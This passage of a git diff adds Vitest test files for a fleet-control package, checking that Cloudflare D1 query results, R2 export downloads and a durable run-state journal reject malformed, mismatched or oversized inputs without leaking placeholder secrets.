+        (request) =>
+          request.method === 'POST' &&
+          request.url.endsWith('/d1/database/fleet-id/query'),
+      ),
+    ).toBe(true);
+    expect(f.journal.snapshot()).toEqual(before);
+  });
+
+  it('captures expected settlement inputs before SDK construction', async () => {
+    const f = await fixture();
+    const expected = f.expected.map((value) => ({ ...value }));
+    const operation = readDirectSettlementEffects({ ...f.input, expected });
+    required(expected[0]).versionId = 'foreign';
+    expected.splice(1);
+    expect((await operation).map((value) => value.versionId)).toEqual([
+      'version-a',
+      'version-b',
+    ]);
+  });
+
+  it.each([
+    'success',
+    'result',
+    'rows',
+    'query-success',
+    'query-errors',
+    'query-error',
+    'two-results',
+    'pagination',
+    'cursor',
+    'count',
+    'truncated',
+  ])('rejects malformed query %s before SDK defaults', async (kind) => {
+    const f = await fixture();
+    f.hook(async (_request, fallback) => {
+      const body = (await fallback().json()) as Record<string, unknown>;
+      if (kind === 'success') body.success = false;
+      if (kind === 'result') delete body.result;
+      if (kind === 'rows') delete recordAt(body, 'result.0').results;
+      if (kind === 'query-success') recordAt(body, 'result.0').success = false;
+      if (kind === 'query-errors')
+        recordAt(body, 'result.0').errors = ['opaque-token-sentinel'];
+      if (kind === 'query-error')
+        recordAt(body, 'result.0').error = 'opaque-token-sentinel';
+      if (kind === 'two-results')
+        (body.result as unknown[]).push(recordAt(body, 'result.0'));
+      if (kind === 'pagination') body.result_info = { total_pages: 2 };
+      if (kind === 'cursor') body.result_info = { cursor: 'next' };
+      if (kind === 'count') body.result_info = { count: 0 };
+      if (kind === 'truncated')
+        return new Response('{', {
+          headers: { 'content-type': 'application/json' },
+        });
+      return Response.json(body, {
+        headers: { 'content-type': 'Application/JSON; charset=utf-8' },
+      });
+    });
+    await expect(
+      readDirectSettlementEffects({ ...f.input, expected: f.expected }),
+    ).rejects.toMatchObject(errorShape);
+  });
+
+  it.each([
+    'identity-hash',
+    'provenance-hash',
+    'key',
+    'run-key',
+    'kind',
+    'duplicate',
+    'identity-version',
+    'role',
+    'tenant',
+    'environment',
+    'target-version',
+    'target-spec',
+    'target-script',
+    'ready-key',
+    'ready-phase',
+    'ready-database',
+  ])('rejects %s mismatch even with valid outer envelopes', async (kind) => {
+    const f = await fixture();
+    f.hook(async (request, fallback) => {
+      const body = (await fallback().json()) as Record<string, unknown>;
+      const query = (await request.clone().json()) as { sql: string };
+      if (query.sql.includes('direct_reference_observations')) {
+        const row = recordAt(body, 'result.0.results.0');
+        const identity = JSON.parse(String(row.identity_json));
+        if (kind === 'identity-version') identity.version = 2;
+        if (kind === 'role') identity.role = 'b';
+        if (kind === 'tenant') identity.tenantTag = 'foreign';
+        if (kind === 'environment') identity.environment = 'foreign';
+        if (kind === 'target-version')
+          identity.target.artifactVersion = 'foreign';
+        if (kind === 'target-spec') identity.target.specDigest = 'f'.repeat(64);
+        if (kind === 'target-script')
+          identity.target.physicalScriptName = 'foreign';
+        row.identity_json = JSON.stringify(identity);
+        row.identity_sha256 = observationHash(
+          JSON.stringify([
+            'observation',
+            f.prepared.config.resourcePrefix,
+            'settlement',
+            row.observation_key,
+            'identity',
+            row.identity_json,
+          ]),
+        );
+        if (kind === 'identity-hash') row.identity_sha256 = 'f'.repeat(64);
+        if (kind === 'provenance-hash') row.provenance_sha256 = 'f'.repeat(64);
+        if (kind === 'key') row.observation_key = 'f'.repeat(64);
+        if (kind === 'run-key') row.run_key = 'foreign';
+        if (kind === 'kind') row.observation_kind = 'resource';
+        if (kind === 'duplicate') recordAt(body, 'result.0.results')['1'] = row;
+      } else {
+        const row = recordAt(body, 'result.0.results.0');
+        if (kind === 'ready-key') row.settled_settlement_key = 'f'.repeat(64);
+        if (kind === 'ready-phase') row.phase = 'migrating';
+        if (kind === 'ready-database') row.database_id = 'foreign';
+      }
+      return Response.json(body);
+    });
+    await expect(
+      readDirectSettlementEffects({ ...f.input, expected: f.expected }),
+    ).rejects.toMatchObject(errorShape);
+  });
+});
+
+describe('normal export raw-byte proof', () => {
+  it.each([
+    undefined,
+    'identity',
+  ])('verifies a chunked identity body with content-encoding %s and no content-length', async (encoding) => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    f.hook(() => {
+      const headers = new Headers({ 'transfer-encoding': 'chunked' });
+      if (encoding) headers.set('content-encoding', encoding);
+      return new Response(SQL_SENTINEL, { headers });
+    });
+    await expect(verifyDirectDecommissionExport(input)).resolves.toMatchObject({
+      verified: true,
+      size: input.metadata.size,
+      sha256: input.metadata.sha256,
+    });
+    expect(f.requests[0]?.headers.get('accept-encoding')).toBe('identity');
+  });
+
+  it.each([
+    {
+      name: 'gzip encoding',
+      headers: new Headers({ 'content-encoding': 'gzip' }),
+    },
+    {
+      name: 'a length differing from the receipt',
+      headers: new Headers({ 'content-length': '1' }),
+    },
+  ])('refuses $name with observation-mismatch despite exact body bytes', async ({
+    headers,
+  }) => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    f.hook(() => new Response(SQL_SENTINEL, { headers }));
+    await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject({
+      code: 'observation-mismatch',
+    });
+  });
+
+  it('releases the unread export body before the refusal reaches the caller', async () => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    const releases: unknown[] = [];
+    f.hook(
+      () =>
+        new Response(
+          new ReadableStream({
+            start(controller) {
+              controller.enqueue(Buffer.from(SQL_SENTINEL));
+            },
+            cancel(reason) {
+              releases.push(reason);
+            },
+          }),
+          { status: 206 },
+        ),
+    );
+    await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject(
+      errorShape,
+    );
+    expect(releases).toHaveLength(1);
+    expect(f.requests).toHaveLength(1);
+  });
+
+  it('derives exact R2 key and returns frozen receipt with source ordinal', async () => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    const before = f.journal.snapshot();
+    const output = await verifyDirectDecommissionExport(input);
+    expect(output).toEqual({
+      verified: true,
+      role: 'a',
+      receipt: input.metadata.receipt,
+      location: input.metadata.location,
+      size: Buffer.byteLength(SQL_SENTINEL),
+      sha256: observationHash(SQL_SENTINEL),
+      sourceInvocationOrdinal: input.sourceInvocationOrdinal,
+    });
+    expect(Object.isFrozen(output.receipt)).toBe(true);
+    expect(JSON.stringify(output)).not.toContain(SQL_SENTINEL);
+    expect(f.requests[0]?.headers.get('cf-r2-jurisdiction')).toBe('default');
+    expect(f.requests[0]?.headers.get('accept')).toBe(
+      'application/octet-stream',
+    );
+    expect(f.journal.snapshot()).toEqual(before);
+  });
+
+  it('hashes raw binary streams larger than the JSON cap without buffering', async () => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    const chunk = Buffer.alloc(64 * 1024, 255);
+    const count = 145;
+    const { createHash } = await import('node:crypto');
+    const hash = createHash('sha256');
+    for (let i = 0; i < count; i++) hash.update(chunk);
+    input.metadata = {
+      ...input.metadata,
+      size: chunk.length * count,
+      sha256: hash.digest('hex'),
+    };
+    let pulled = 0;
+    f.hook(
+      () =>
+        new Response(
+          new ReadableStream({
+            pull(controller) {
+              if (pulled++ === count) controller.close();
+              else controller.enqueue(chunk);
+            },
+          }),
+        ),
+    );
+    const output = await verifyDirectDecommissionExport(input);
+    expect(output.size).toBeGreaterThan(8 * 1024 * 1024);
+    expect(output.sha256).toBe(input.metadata.sha256);
+    expect(pulled).toBe(count + 1);
+  });
+
+  it('captures metadata, role and ordinal before awaiting SDK work', async () => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    const operation = verifyDirectDecommissionExport(input);
+    input.metadata = {
+      ...input.metadata,
+      receipt: { ...input.metadata.receipt, databaseId: 'foreign' },
+    };
+    input.sourceInvocationOrdinal = 100;
+    expect((await operation).receipt.databaseId).toBe('database-a');
+  });
+
+  it.each([
+    'unavailable',
+    'role',
+    'ordinal',
+    'action',
+    'authority',
+    'location',
+    'database-path',
+    'device-id',
+    'operation-path',
+    'size-zero',
+    'size-unsafe',
+    'uppercase-hash',
+    'phase',
+    'revision',
+    'generation',
+  ])('refuses %s metadata before GET', async (kind) => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    const m = structuredClone(input.metadata) as unknown as Record<
+      string,
+      unknown
+    >;
+    if (kind === 'unavailable') m.available = false;
+    if (kind === 'role') m.role = 'b';
+    if (kind === 'ordinal') input.sourceInvocationOrdinal--;
+    if (kind === 'action') await f.settle({ kind: 'control-read' });
+    if (kind === 'authority')
+      recordAt(m, 'receipt').authority = 'r2://foreign/receipts/v1';
+    if (kind === 'location') m.location += '?signature=opaque-token-sentinel';
+    if (kind === 'database-path')
+      recordAt(m, 'receipt').databaseId = '../foreign';
+    if (kind === 'device-id') recordAt(m, 'receipt').databaseId = 'CON';
+    if (kind === 'operation-path') recordAt(m, 'receipt').operationId = 'a/b';
+    if (kind === 'size-zero') m.size = 0;
+    if (kind === 'size-unsafe') m.size = Number.MAX_SAFE_INTEGER + 1;
+    if (kind === 'uppercase-hash') m.sha256 = String(m.sha256).toUpperCase();
+    if (kind === 'phase') m.lifecyclePhase = 'ready';
+    if (kind === 'revision') m.revision = -1;
+    if (kind === 'generation') m.generation = 0.5;
+    await expect(
+      verifyDirectDecommissionExport({
+        ...input,
+        metadata: m as unknown as typeof input.metadata,
+      }),
+    ).rejects.toMatchObject(errorShape);
+    expect(f.requests).toHaveLength(0);
+  });
+
+  it.each([
+    'partial',
+    'content-range',
+    'redirect',
+    'missing',
+    'no-body',
+    'short',
+    'long',
+    'hash',
+    'understated-length',
+    'wrong-length',
+    'encoded',
+    'body-error',
+  ])('rejects %s export without leaking raw content', async (kind) => {
+    const f = await fixture();
+    const input = await f.exportInput();
+    f.hook(() => {
+      if (kind === 'partial')
+        return new Response(SQL_SENTINEL, { status: 206 });
+      if (kind === 'content-range')
+        return new Response(SQL_SENTINEL, {
+          headers: { 'content-range': 'bytes 0-25/26' },
+        });
+      if (kind === 'redirect')
+        return new Response(null, {
+          status: 302,
+          headers: { location: 'https://unexpected.invalid' },
+        });
+      if (kind === 'missing')
+        return Response.json(
+          { errors: [{ message: SQL_SENTINEL + OBSERVATION_TOKEN }] },
+          { status: 404 },
+        );
+      if (kind === 'no-body') return new Response(null);
+      if (kind === 'short') return new Response(SQL_SENTINEL.slice(1));
+      if (kind === 'long') return new Response(`${SQL_SENTINEL}x`);
+      if (kind === 'hash') return new Response('x'.repeat(SQL_SENTINEL.length));
+      if (kind === 'understated-length')
+        return new Response(`${SQL_SENTINEL}x`, {
+          headers: { 'content-length': String(input.metadata.size) },
+        });
+      if (kind === 'wrong-length')
+        return new Response(SQL_SENTINEL, {
+          headers: { 'content-length': '1' },
+        });
+      if (kind === 'encoded')
+        return new Response(SQL_SENTINEL, {
+          headers: { 'content-encoding': 'gzip' },
+        });
+      return new Response(
+        new ReadableStream({
+          start(controller) {
+            controller.error(new Error(SQL_SENTINEL + OBSERVATION_TOKEN));
+          },
+        }),
+      );
+    });
+    const error = await verifyDirectDecommissionExport(input).catch(
+      (error: unknown) => error,
+    );
+    expect(error).toMatchObject(errorShape);
+    expect(String(error)).not.toMatch(/private_sql_sentinel|provider-token/u);
+    expect(error).not.toHaveProperty('cause');
+    expect(f.requests).toHaveLength(1);
+  });
+
+  it.each([
+    'headers',
+    'body',
+    'eof',
+    'reject-cancel',
+    'hang-cancel',
+  ])('bounds %s with the same request deadline', async (kind) => {
+    const f = await fixture(30);
+    const input = await f.exportInput();
+    const cancellations = vi.fn();
+    f.hook(() => {
+      if (kind === 'headers') return new Promise<Response>(() => {});
+      return new Response(
+        new ReadableStream({
+          start(controller) {
+            if (kind === 'eof') controller.enqueue(Buffer.from(SQL_SENTINEL));
+          },
+          cancel() {
+            cancellations();
+            if (kind === 'reject-cancel')
+              return Promise.reject(new Error('cancellation sentinel'));
+            if (kind === 'hang-cancel') return new Promise<void>(() => {});
+          },
+        }),
+      );
+    });
+    await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject(
+      errorShape,
+    );
+    if (kind !== 'headers') expect(cancellations).toHaveBeenCalled();
+    expect(f.requests).toHaveLength(1);
+  });
+
+  it('shares one deadline between headers and body rather than resetting at headers', async () => {
+    const f = await fixture(80);
+    const input = await f.exportInput();
+    let bodyTimer: ReturnType<typeof setTimeout>;
+    f.hook(async () => {
+      await new Promise((resolve) => setTimeout(resolve, 50));
+      return new Response(
+        new ReadableStream({
+          start(controller) {
+            bodyTimer = setTimeout(() => {
+              controller.enqueue(Buffer.from(SQL_SENTINEL));
+              controller.close();
+            }, 50);
+          },
+          cancel() {
+            clearTimeout(bodyTimer);
+          },
+        }),
+      );
+    });
+    await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject(
+      errorShape,
+    );
+  });
+
+  it('bounds oversized JSON error bodies and handles late responses after timeout', async () => {
+    const f = await fixture(30);
+    const input = await f.exportInput();
+    f.hook(
+      () =>
+        new Response('x'.repeat(8 * 1024 * 1024 + 1), {
+          status: 500,
+          headers: { 'content-type': 'application/json' },
+        }),
+    );
+    await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject(
+      errorShape,
+    );
+    let deliver!: (response: Response) => void;
+    f.hook(
+      () =>
+        new Promise<Response>((resolve) => {
+          deliver = resolve;
+        }),
+    );
+    await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject(
+      errorShape,
+    );
+    const cancelled = vi.fn(() => Promise.reject(new Error('cancel')));
+    deliver(new Response(new ReadableStream({ cancel: cancelled })));
+    await vi.waitFor(() => expect(cancelled).toHaveBeenCalled());
+  });
+});
+
+it('executes the same synthetic fixture natively outside Vitest', async () => {
+  const fixtureUrl = new URL(
+    './fixtures/direct-observations.ts',
+    import.meta.url,
+  ).href;
+  const moduleUrl = new URL(
+    '../scripts/direct-credentialed-observations.mjs',
+    import.meta.url,
+  ).href;
+  const source = `import assert from 'node:assert/strict';
+    globalThis.fetch = () => { throw Error('unexpected network'); };
+    const { directObservationFixture } = await import(${JSON.stringify(fixtureUrl)});
+    const { observeDirectWorkerVersion, readDirectSettlementEffects, verifyDirectDecommissionExport } = await import(${JSON.stringify(moduleUrl)});
+    const f = await directObservationFixture();
+    try {
+      process.env.CLOUDFLARE_LOG = 'debug';
+      process.env.CLOUDFLARE_BASE_URL = 'https://unexpected.invalid';
+      assert.equal((await observeDirectWorkerVersion({...f.input, ...f.expected[0]})).trafficPercentage, 100);
+      assert.equal((await readDirectSettlementEffects({...f.input, expected:f.expected})).length, 2);
+      assert.equal((await verifyDirectDecommissionExport(await f.exportInput())).verified, true);
+      assert.deepEqual(f.unexpected, []);
+      console.log('native-observations-ok');
+    } finally { await f.close(); }`;
+  const output = await promisify(execFile)(
+    process.execPath,
+    ['--input-type=module', '-e', source],
+    { timeout: 15_000 },
+  );
+  expect(output.stdout.trim()).toBe('native-observations-ok');
+  expect(output.stderr).not.toMatch(
+    /provider-token|private_sql_sentinel|CLOUDFLARE/u,
+  );
+});
diff --git a/packages/fleet-control/test/direct-credentialed-provider.test.ts b/packages/fleet-control/test/direct-credentialed-provider.test.ts
new file mode 100644
index 00000000..339e2f41
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-provider.test.ts
@@ -0,0 +1,158 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import {
+  openDirectProviderSession,
+  singlePage,
+} from '../scripts/direct-credentialed-provider.mjs';
+
+const sessions: Awaited<ReturnType<typeof openDirectProviderSession>>[] = [];
+
+async function fixture(envelope: Record<string, unknown>) {
+  const fetchRequest = vi.fn<typeof fetch>(async () => Response.json(envelope));
+  const session = await openDirectProviderSession({
+    apiToken: 'inert-provider-token',
+    fetchRequest,
+    timeoutMs: 5_000,
+  });
+  sessions.push(session);
+  return { session, fetchRequest };
+}
+
+beforeEach(() => {
+  vi.stubGlobal('fetch', () => {
+    throw new Error('unexpected network');
+  });
+});
+
+afterEach(() => {
+  for (const session of sessions.splice(0)) session.transport.close();
+  vi.unstubAllGlobals();
+});
+
+describe.each([
+  'object',
+  'numbered',
+  'single',
+] as const)('direct provider %s envelopes through the native SDK', (shape) => {
+  const row = { id: 'account' };
+  const result = shape === 'object' ? row : [];
+  const read = (
+    session: Awaited<ReturnType<typeof openDirectProviderSession>>,
+  ) =>
+    shape === 'object'
+      ? session.sdk.accounts.get({ account_id: 'account' })
+      : session[shape].zones.list().then((page) => page.result);
+
+  it.each([
+    undefined,
+    null,
+  ])('accepts null errors and messages with result_info %s', async (info) => {
+    const { session, fetchRequest } = await fixture({
+      success: true,
+      errors: null,
+      messages: null,
+      result,
+      result_info: info,
+    });
+    await expect(read(session)).resolves.toEqual(result);
+    expect(fetchRequest).toHaveBeenCalledTimes(1);
+    expect(
+      new Headers(fetchRequest.mock.calls[0]?.[1]?.headers).has(
+        'accept-encoding',
+      ),
+    ).toBe(false);
+  });
+
+  it.each([
+    { kind: 'non-empty array', errors: [{ code: 1000, message: 'x' }] },
+    { kind: 'non-array', errors: 'bad' },
+  ])('refuses $kind errors', async ({ errors }) => {
+    const { session } = await fixture({ success: true, result, errors });
+    await expect(read(session)).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+  });
+});
+
+describe('single page attestation', () => {
+  const rows = [{ queue_name: 'queue' }];
+  const listed = async (envelope: Record<string, unknown>) => {
+    const { session } = await fixture({
+      success: true,
+      errors: [],
+      ...envelope,
+    });
+    return singlePage(session.single.queues.list({ account_id: 'account' }));
+  };
+
+  it.each([
+    {
+      kind: 'a total_count equal to the rows',
+      result_info: { total_count: 1 },
+    },
+    { kind: 'a single total_page', result_info: { total_pages: 1 } },
+  ])('records an exhaustive page for $kind', async ({ result_info }) => {
+    await expect(listed({ result: rows, result_info })).resolves.toEqual({
+      rows,
+      exhaustive: true,
+    });
+  });
+
+  it('records an exhaustive empty page for a zero total_pages', async () => {
+    await expect(
+      listed({ result: [], result_info: { total_pages: 0 } }),
+    ).resolves.toEqual({ rows: [], exhaustive: true });
+  });
+
+  it.each([
+    { kind: 'an absent', envelope: {} },
+    { kind: 'a null', envelope: { result_info: null } },
+    { kind: 'an empty', envelope: { result_info: {} } },
+    {
+      kind: 'a count-only',
+      envelope: { result_info: { count: 1, per_page: 50 } },
+    },
+  ])('records a non-exhaustive page for $kind result_info', async ({
+    envelope,
+  }) => {
+    await expect(listed({ result: rows, ...envelope })).resolves.toEqual({
+      rows,
+      exhaustive: false,
+    });
+  });
+
+  it.each([
+    { kind: 'more than one page', result_info: { total_pages: 2 } },
+    { kind: 'a total_count above the rows', result_info: { total_count: 2 } },
+  ])('refuses $kind', async ({ result_info }) => {
+    await expect(listed({ result: rows, result_info })).rejects.toMatchObject({
+      code: 'provider-unavailable',
+    });
+  });
+});
+
+it('requests identity encoding for the export object GET through the native SDK', async () => {
+  const { session, fetchRequest } = await fixture({});
+  fetchRequest.mockResolvedValueOnce(new Response('SQL'));
+  const response = await session
+    .exportReader(3)
+    .r2.buckets.objects.get('receipt.sql', {
+      account_id: 'account',
+      bucket_name: 'exports',
+      jurisdiction: 'default',
+    });
+  expect(await response.text()).toBe('SQL');
+  expect(fetchRequest).toHaveBeenCalledTimes(1);
+  const call = fetchRequest.mock.calls[0];
+  if (!call) throw new Error('object GET absent');
+  const [input, init] = call;
+  const request = new Request(input, init);
+  expect(request.method).toBe('GET');
+  expect(request.headers.get('accept-encoding')).toBe('identity');
+  expect(request.headers.get('accept')).toBe('application/octet-stream');
+  expect(request.headers.get('authorization')).toBe(
+    'Bearer inert-provider-token',
+  );
+  expect(request.headers.get('cf-r2-jurisdiction')).toBe('default');
+});
diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts
new file mode 100644
index 00000000..afe46f9a
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts
@@ -0,0 +1,2515 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from 'node:child_process';
+import { readdirSync } from 'node:fs';
+import {
+  chmod,
+  link,
+  mkdir,
+  open,
+  readdir,
+  readFile,
+  rename,
+  stat,
+  symlink,
+  unlink,
+  writeFile,
+} from 'node:fs/promises';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import {
+  actionSummary,
+  DIRECT_RUN_MAX_JOURNAL_BYTES,
+  DIRECT_RUN_MAX_RESUME_COUNT,
+  DIRECT_RUN_TIMESTAMP,
+  DIRECT_SCENARIO_ARRAY_MAXIMA,
+  DIRECT_SCENARIO_FAILURE_DETAILS,
+  DIRECT_SCENARIO_FAILURES,
+  DIRECT_SCENARIO_OPERATION_SLOTS,
+  type DirectBootstrapMutationReceipt,
+  type DirectRunJournal,
+  inspectDirectRunState,
+  isForceIdentity,
+  openDirectRunState,
+} from '../scripts/direct-credentialed-run-state.mjs';
+import { requireFact } from '../scripts/direct-credentialed-scenario-checks.mjs';
+import type { DirectOperationSlot } from '../scripts/direct-reference-journal.js';
+import {
+  bootstrapContext,
+  cleanupDirectRunState,
+  closed,
+  completeScenario,
+  completeScenarioJournal,
+  confirmedBootstrap,
+  DIGEST,
+  first,
+  fixture,
+  hash,
+  journals,
+  MAX_COUNT,
+  MAX_NAME,
+  type MutableScenario,
+  type MutableTeardown,
+  maximalScenario,
+  maximalTeardown,
+  opened,
+  PROCESS,
+  present,
+  RESUMED,
+  receipts,
+  residualObservation,
+  scenarioJournal,
+  scenarioWith,
+  teardownState,
+  teardownWith,
+} from './fixtures/direct-run-state-builder.js';
+
+vi.mock('node:fs/promises', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('node:fs/promises')>();
+  return { ...actual, rename: vi.fn(actual.rename) };
+});
+
+const CLAIM = 'opaque-claim-must-not-enter-local-state';
+
+afterEach(async () => {
+  vi.restoreAllMocks();
+  await cleanupDirectRunState();
+});
+
+const describeLinux =
+  process.platform === 'linux' ? describe.sequential : describe.skip;
+
+describeLinux('durable bootstrap state', () => {
+  it('enforces mutation order, exact receipt association and exclusive invocation/provider pending state', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await expect(
+      journal.beginBootstrapMutation('create-fleet-d1'),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await journal.bindBootstrapContext(bootstrapContext(f));
+    await expect(
+      journal.beginBootstrapMutation('create-quota-d1'),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(
+      journal.recordBootstrapObservation({
+        kind: 'active',
+        deploymentId: 'deployment',
+        versionId: 'version',
+      }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    const reservation = await journal.reserveInvocation(f.request());
+    await expect(
+      journal.beginBootstrapMutation('create-fleet-d1'),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+    await journal.settleInvocation(reservation);
+    await journal.beginBootstrapMutation('create-fleet-d1');
+    await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'outcome-unknown',
+    });
+    await expect(
+      journal.beginBootstrapMutation('create-quota-d1'),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+    await expect(
+      journal.confirmBootstrapMutation(receipts(f)[1]),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(
+      journal.confirmBootstrapMutation({
+        kind: 'create-fleet-d1',
+        receipt: null,
+      } as unknown as DirectBootstrapMutationReceipt),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(
+      journal.confirmBootstrapMutation({
+        kind: 'create-fleet-d1',
+        receipt: { uuid: 'fleet-uuid', name: 'foreign' },
+      }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await journal.confirmBootstrapMutation(receipts(f)[0]);
+    await expect(
+      journal.beginBootstrapMutation('create-fleet-d1'),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(
+      journal.confirmBootstrapMutation(receipts(f)[0]),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await journal.beginBootstrapMutation('create-quota-d1');
+    await expect(
+      journal.confirmBootstrapMutation({
+        kind: 'create-quota-d1',
+        receipt: { uuid: 'fleet-uuid', name: f.prepared.names.quotaDatabase },
+      }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    expect(journal.snapshot().bootstrap).toMatchObject({
+      pending: 'create-quota-d1',
+      fleet: { uuid: 'fleet-uuid' },
+      quota: null,
+    });
+  });
+
+  it('freezes closed context/receipts and preserves historical control-read ordinals across later invocations and resume', async () => {
+    const f = await fixture(4);
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await confirmedBootstrap(f, journal);
+    const first = await journal.reserveInvocation(f.request());
+    await expect(
+      journal.recordBootstrapObservation({
+        kind: 'control-read',
+        ordinal: first.ordinal,
+      }),
+    ).rejects.toMatchObject({ code: 'outcome-unknown' });
+    await journal.settleInvocation(first);
+    await journal.recordBootstrapObservation({
+      kind: 'control-read',
+      ordinal: first.ordinal,
+    });
+    const second = await journal.reserveInvocation(
+      f.request({ kind: 'tenant-probe', role: 'a', operation: 'health' }),
+    );
+    await journal.settleInvocation(second);
+    await expect(
+      journal.recordBootstrapObservation({
+        kind: 'control-read',
+        ordinal: second.ordinal,
+      }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await expect(
+      journal.recordBootstrapObservation({
+        kind: 'active',
+        deploymentId: 'replacement',
+        versionId: 'version',
+      }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    await journal.bindBootstrapContext({
+      ...bootstrapContext(f),
+      dispatch: { kind: 'enumerated', count: 9 },
+    });
+    const frozen = (value: unknown) => {
+      if (!value || typeof value !== 'object') return;
+      expect(Object.isFrozen(value)).toBe(true);
+      Object.values(value).forEach(frozen);
+    };
+    frozen(journal.snapshot());
+    await closed(journal);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(resumed.snapshot()).toMatchObject({
+      invocationCount: 2,
+      bootstrap: {
+        controlReadOrdinal: 1,
+        context: { dispatch: { kind: 'empty', count: 0 } },
+      },
+    });
+    const third = await resumed.reserveInvocation(f.request());
+    await resumed.settleInvocation(third);
+    await resumed.recordBootstrapObservation({
+      kind: 'control-read',
+      ordinal: 3,
+    });
+    expect(resumed.snapshot().bootstrap?.controlReadOrdinal).toBe(3);
+    expect(
+      (await stat(join(resumed.directory, 'journal.json'))).size,
+    ).toBeLessThanOrEqual(16 * 1024);
+  });
+
+  it('normalizes v1 without dropping settled history or resetting the budget', async () => {
+    const f = await fixture(2);
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const first = await journal.reserveInvocation(f.request());
+    await journal.settleInvocation(first);
+    await closed(journal);
+    const path = join(journal.directory, 'journal.json');
+    const original = JSON.parse(await readFile(path, 'utf8'));
+    delete original.bootstrap;
+    delete original.createdAt;
+    original.version = 1;
+    await writeFile(path, JSON.stringify(original));
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(resumed.snapshot()).toMatchObject({
+      version: 2,
+      bootstrap: null,
+      invocationCount: 1,
+      lastInvocation: { state: 'settled', ordinal: 1 },
+    });
+    await expect(
+      resumed.bindBootstrapContext(bootstrapContext(f)),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+    const second = await resumed.reserveInvocation(f.request());
+    await resumed.settleInvocation(second);
+    expect(JSON.parse(await readFile(path, 'utf8')).version).toBe(2);
+    await expect(resumed.reserveInvocation(f.request())).rejects.toMatchObject({
+      code: 'invocation-budget-exhausted',
+    });
+  });
+
+  it.each([
+    'file-1',
+    'rename-1',
+    'directory-1',
+    'file-2',
+    'rename-2',
+    'directory-2',
+  ])('retains the receipt barrier disposition and poisons the handle after %s failure', async (failure) => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    await journal.bindBootstrapContext(bootstrapContext(f));
+    await journal.beginBootstrapMutation('create-fleet-d1');
+    const path = join(journal.directory, 'journal.json');
+    const directory = await stat(journal.directory);
+    const probe = await open(path, 'r');
+    const prototype = Object.getPrototypeOf(probe) as typeof probe;
+    const originalSync = prototype.sync;
+    const actualFs =
+      await vi.importActual<typeof import('node:fs/promises')>(
+        'node:fs/promises',
+      );
+    let occurrences = 0;
+    const [point, barrier] = failure.split('-');
+    const check = () => {
+      if (++occurrences === Number(barrier))
+        throw new Error('receipt-sync-secret-sentinel');
+    };
+    const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function (
+      this: typeof probe,
+    ) {
+      const current = await this.stat();
+      if (
+        (point === 'file' && current.isFile()) ||
+        (point === 'directory' &&
+          current.isDirectory() &&
+          current.ino === directory.ino &&
+          current.dev === directory.dev)
+      )
+        check();
+      await originalSync.call(this);
+    });
+    vi.mocked(rename).mockImplementation(async (...args) => {
+      if (point === 'rename') check();
+      await actualFs.rename(...args);
+    });
+    try {
+      const error = await journal
+        .confirmBootstrapMutation(receipts(f)[0])
+        .catch((error: unknown) => error);
+      expect(error).toMatchObject({ code: 'invalid-state' });
+      expect(String(error)).not.toContain('receipt-sync-secret-sentinel');
+      await expect(
+        journal.reserveInvocation(f.request()),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+      const disk = JSON.parse(await readFile(path, 'utf8'));
+      expect(disk.bootstrap.pending).toBe(
+        failure === 'directory-2' ? null : 'create-fleet-d1',
+      );
+      expect(disk.bootstrap.fleet).toEqual(
+        ['file-1', 'rename-1'].includes(failure)
+          ? null
+          : receipts(f)[0].receipt,
+      );
+      expect(await readdir(journal.directory)).toEqual(['journal.json']);
+    } finally {
+      sync.mockRestore();
+      vi.mocked(rename).mockImplementation(actualFs.rename);
+      await probe.close();
+    }
+    await closed(journal);
+    if (failure === 'directory-2') {
+      const resumed = await opened({ ...f.input, mode: 'resume' });
+      expect(resumed.snapshot().bootstrap?.fleet).toEqual(
+        receipts(f)[0].receipt,
+      );
+    } else
+      await expect(
+        openDirectRunState({ ...f.input, mode: 'resume' }),
